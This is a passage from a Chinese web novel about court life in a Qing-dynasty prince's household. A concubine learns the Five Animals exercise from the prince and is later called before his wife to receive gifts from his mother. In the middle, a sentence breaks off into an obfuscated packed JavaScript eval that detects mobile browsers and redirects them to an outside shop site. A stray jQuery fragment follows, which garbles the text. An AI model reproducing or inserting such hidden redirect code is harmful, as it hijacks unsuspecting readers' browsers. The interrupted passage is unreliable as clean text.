宋时繁没有注意到四爷颇为怪异的神色,仍旧自顾自地道:“奴才这不是身子骨太差劲了嘛,若是能学点拳脚功夫,说不定就强健起来了呢。”
原来是这样,还好不是因为什么奇怪的原因,不知为何,四爷有些庆幸地想道。
“你一个女孩儿家学什么拳脚?若是身子有不妥当的地方,爷叫个太医来给你瞧瞧就是。”反应过来的四爷眉眼之间全是不赞同。
宋时繁皱了皱鼻子有些无奈,心说她跟清朝人真是没话聊。
“四爷您误会了,奴才没有不舒服,就是想找点事情做做,再说了多动动总归对身体有好处嘛,而且说不定以后还能防身呢。”宋时繁是真心不想自己天天弱柳扶风的,脸上连点血色都没有,一看就不是长寿的命,她可还想长长久久活下去呢。
四爷闻言,眉心的沟壑更深了:“胡说八道什么呢?难道你还想到外头去不成?在府里用得着你防身吗?”
不得不说,四爷的心里虽然已经有了宋时繁这号人,可骨子里仍旧没太把宋时繁当回事,说句难听的,宋时繁现如今在四爷这里充其量就是个挺喜欢的物件。
宋时繁也不是傻的,自然听出了四爷话里的意思,一时间感到有些无力,抿了抿嘴唇没再开口了。
算了吧,看来她还是没事的时候绕着院子里跑跑得了。
倒是四爷,瞧着宋时繁原本高兴的脸上显出落寞来,心里忽然有些不是滋味,仿佛他叫宋时繁受了天大的委屈一样。
“咳,爷不是不叫你学,只是你如今年纪也大了,不比小孩子家耐摔打,确实不宜学什么拳脚功夫,可爷觉着你说得也有道理,是该多动动身子才好呢,你若真想学点什么...爷教你打五禽戏吧,那个简单,相比较而言也不太费力气。”
四爷这会子是真乐意哄一哄宋时繁,于是不光说,还真起了势,在宋时繁面前,像模像样地打了一套五禽戏给她看。
于是,宋时繁看着四爷一会儿学猴,一会儿学鸟,一会儿又趴着学老虎,彻底不知道该说什么好了,当初直接跑步多好,不久没这么多事了...宋时繁捂着脸想道。
最后的结果就是:在四爷的热烈邀请之下,宋时繁只得被迫跟着四爷好一通学,直到宋时繁把这套五禽戏的动作都学得差不多了,四爷才算是放过宋时繁。
还真别说,经过这么一番活动下来,宋时繁并着四爷两人都出了汗,尤其是宋时繁,平时一点儿不运动的人,大冬天的,里衣都有些湿了,既如此,索性二人便一同进了内室更衣。
四爷在宋时繁这里是存着有衣服的,只不过都是些常服,好在已经晚上了,四爷也不打算出门,便随意找了一身月白色的长袍换上。
等四爷更完衣后发现宋时繁还没好,四爷想了想他也有日子没见着大格格了,便自己抬脚拐去西厢看女儿了。
另一边,宋时繁是在侧间里头更衣的。
当然,这也是规矩,哪能当着主子爷的面儿换衣服呢?所以宋时繁便避了出去,这倒也好,省得尴尬,宋时繁自问如今她还做不到青天白日的就跟四爷坦诚相对呢。
不过女子的服饰到底要麻烦些,而且宋时繁还让白薇打了盆热水来,她要先擦擦身子再换干净衣服,所以便慢了四爷一步。
“格格您别着急,慢慢儿来,方才四爷去瞧大格格了。”
宋时繁点了点头,将衣领子扣好,又伸手抚了抚袖口,将衣服都拉平整了才出了侧间往西厢房去。
刚走到门口,宋时繁就听见四爷的声音传了出来。
无外乎是询问大格格一日吃了几回奶,睡得好不好之类的话,四爷几乎每日都要问一问的,就算他自己来不了,也是早晚派了前院的小太监来替他看大格格。
宋时繁心里是庆幸的,不管怎么说,四爷对这个女儿总归是上心的。
思及此,宋时繁便没有往里头进,而是在门口安静地等着四爷出来。
又过了一盏茶的功夫,四爷才从西厢房里出来,见宋时繁等在门外,语气柔和道:“爷方才见大格格好像长大了不少,你费心了。”
“小孩子这会子正是长身体的时候,一天一个样,奴才天天看着咪咪都觉得她变化大,爷隔几日才见一次自然会这样想,奴才不敢居功呢。”
四爷笑了笑:“这是抱怨爷瞧孩子瞧少了?”
宋时繁心下一跳,忙解释:“不是这样的,四爷您误会了,奴才并没有这个意思...”
不待宋时繁把话说完,四爷就伸出手掌来,轻轻拍了拍宋时繁的小臂:“好了,爷跟你玩笑一句,做什么急得脸都白了,你怎么胆子这么小,就这样怕爷?”
嚯,能不怕吗?您老人家可握着她跟大格格娘俩个的小命呢。
不过,宋时繁面上却不敢显露,也知道这时候回答怕或者不怕都不好解释,干脆直接冲着四爷笑了笑,然后就把头垂下去了,让四爷自己猜她是什么意思吧。
果然,四爷还当宋时繁害羞了,倒没说什么旁的,只叮嘱道:“你好好的,爷前院里还有公务,晚上就不陪你了,赶明儿得了空,爷再来瞧你跟大格格。”说到这里,四爷顿了顿,又开口道:“不许悄悄抱怨爷。”
得,嘴上说是玩笑话,心里还是觉得宋时繁有怨怼的意思。
宋时繁却是不打算解释了,她早就看明白了,这个四爷自有一套想法逻辑,跟他解释纯属对驴弹琴,她还是别白费口舌了,免得多说多错,反正四爷明面上没怪罪就成,管他心里怎么想呢。
于是,宋时繁利落福身:“奴才知晓了,恭送四爷。”
四爷见状点了点头,迈开步子便出了宋时繁的小院,朝前院去了。
四爷走没影儿以后,宋时繁就回屋了,从四爷来就折腾到现在了,她早乏了,现下宋时繁只想歪到榻上好好歇一歇。
可还没等宋时繁的屁股挨上软榻呢,就听石桥过来禀报,说是正院派了人来传话,叫格格们都往正院那头去呢。
宋时繁眨巴了两下眼睛,有些疑惑:“黑不提白不提的,怎么忽然叫人去?”
石桥低声回答道:“听说是福晋从德妃娘娘处回来了,还带着一大堆德妃娘娘的赏赐呢,这才叫了格格们去叙话。”
宋时繁听了这话更觉稀奇了,按说德妃赏赐肯定也是赏赐福晋的,怎么着也不该有她们这些格格们的事,这会子却又大喇喇叫她们去,还特意提了德妃赏赐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567264|142106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一事,别说,真叫宋时繁有些摸不着头脑了。
无论如何,福晋既然特特叫人来请了,那怎么都得跑这一趟的。
好在宋时繁的衣裳是方才新换上身的,虽说是家常穿的,颜色也素淡,但总归不算失礼,衣裳妥当了,宋时繁又叫白薇帮她梳了个小两把头,再选了几样不打眼的首饰戴上,这便可以出门了。
还不知道到底是什么事儿呢,低调着点儿比较好。
不过,宋时繁这次却是想错了,到了正院以后,还真是给她们德妃赏了东西下来。
“奴才们给福晋请安,福晋吉祥。”宋时繁同武格格、郭格格一起给福晋行礼,今次倒只有她们三人,李格格仍在静养,侍妾们也没有再跟着来了。
“都起来吧,芸香,给格格们赐座。”
不知怎的,福晋的语气里透着些疲惫,宋时繁借着起身的功夫,快速打量了福晋一眼,只见福晋眉心微微蹙着,嘴唇几乎抿成了一条直线,面上也尽是不耐,却极力压制着不肯表现出来。
宋时繁略微一琢磨就明白了,想必福晋是在德妃那里吃挂落了,唉,看来婆媳问题还真是个千古难题啊,希望等下福晋不要因此迁怒她们就好。
福晋心里头确实气坏了,她一大早就被德妃娘娘传进了圆明园,却也不说有什么事,只让她一直在跟前立规矩,从德妃娘娘用早膳开始到现在,她伺候了德妃娘娘整整一天,只有德妃娘娘睡午觉的时候,她才得空歇了歇,囫囵吃了口饭,又紧赶着进内室去伺候,直到这会才把她放出来,叫她归家。
其实,福晋也不是不愿意伺候德妃娘娘,毕竟寻常家做媳妇儿的自然也该日日跟在婆母面前立规矩,她算是好的,嫁到了皇家,德妃娘娘也宽和,嫁进来这一年从不叫她辛苦,只碰上年节的时候要进宫请安,平日里尽到孝心也就行了。
现在乍不乍来这么一遭,好悬没把福晋累过去,福晋能不气吗?
可福晋想起自己临走时,德妃娘娘那几句警告她的话,福晋心里又苦得很,也明白德妃娘娘是在敲打她,这表明四爷也对她不满呢,能不叫她悬心吗?
又累又怕的,福晋面上可不就显出憔悴来了,但因着德妃娘娘发了话,这会子福晋也只得硬撑着,应酬几位格格。
“今日我去给额娘请安,额娘知道你们伺候主子爷辛苦,便让我给你们带了些赏赐,你们也该体会额娘的心意,更要用心侍奉才是。”福晋心里觉得难堪,说话就不愿意拐弯抹角,直接开门见山。
可不是难堪嘛,就没有做婆母的直接赏赐妾室的道理,宋时繁如是想道。
再将先前一连串的事情联系起来,宋时繁猜测约莫是德妃在借此表达对福晋的不满呢,当下也不敢做出头鸟招福晋的眼,只老实低着头听福晋说。
可福晋却显然不愿意放过宋时繁。
“宋氏,额娘还特意提起你了,你生育大格格有功,额娘都是记着的,还叮嘱你日后用心照顾大格格,你是额娘亲自指给咱们主子爷的,额娘可对你寄予厚望呢。”
福晋微仰着下巴,语气却有些阴阳怪气。
宋时繁暗暗叹了口气,知道该来的,就是想躲也躲不掉,真心累啊...